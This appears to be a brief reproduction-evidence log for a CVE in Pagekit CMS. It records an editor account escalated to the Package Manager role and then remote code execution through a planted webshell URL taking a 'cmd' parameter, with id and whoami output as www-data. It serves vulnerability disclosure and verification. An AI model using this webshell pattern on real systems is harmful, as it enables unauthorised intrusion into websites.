=== CVE-2026-57518 Reproduction Evidence ===
Date: Sun Jul  5 14:02:19 UTC 2026

--- Step 3: Privilege Escalation ---
Editor user ID: 2
Package Manager role ID: 4
User Manager role ID: 5
Editor roles after escalation: "roles":[2,4]

--- Step 6: RCE ---
Webshell URL: /packages/pagekit/shell/index.php?cmd=id
id output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami output: www-data